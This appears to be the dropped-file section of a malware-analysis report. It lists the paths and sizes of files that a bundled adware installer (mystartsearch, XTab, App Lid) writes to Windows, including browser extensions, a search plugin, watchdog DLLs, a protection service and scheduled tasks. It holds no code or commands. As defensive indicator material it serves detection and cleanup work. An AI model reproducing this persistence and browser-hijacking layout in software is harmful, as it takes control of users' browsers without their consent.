C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (15019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\59C4.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\59B3.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\remoterequest.js (2 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz255C.tmp (5756 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\conf (1606 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspF96C.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5312 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
%Program Files% (x86)\App Lid\utils.exe (77250 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\136394 (4595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskEA11.tmp (662199 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe (9147 bytes)
C:\Windows\Tasks\0e548b74-528b-4597-b8f2-4bc5002d68ce-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\StdUtils.dll (30 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.dll (47570 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\68684 (94391 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\nsisos.dll (13 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\md5dll.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Windows\Tasks\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\InstallerUtils2.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspEA31.tmp\InstallerUtils.dll (30484 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\FacebookIsGod.dll (2555 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\Lexdja.exe (1676729 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\26517.bat (411 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfE7D0.tmp\Iulos.tmp (396481 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_d (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_e (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_b (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_c (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_a (137814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\c6f349e09f7b3c4993073c407a485e5f[1].htm (26573 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula-mystartsearch[1].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\dffadf6cea0603499f5ce29578e19940[1].htm (38382 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VJ2KGQ4B.txt (288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\4T7T03FI.txt (550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-sourceapp[1].htm (4319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5UQ0AJ7G.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ga[1].js (25859 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\vlc_48[1].png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe (1482965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.6 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.7 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.4 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.5 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.2 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.3 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.0 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.1 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\T4IVH6T1.txt (690 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ZWGDHXPO.txt (690 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (23211 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\fc5ae9ef92544d4d9ad600d2a201e613[1].htm (23188 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp (41797 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (73037 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ajax-bidl[1].htm (804 bytes)
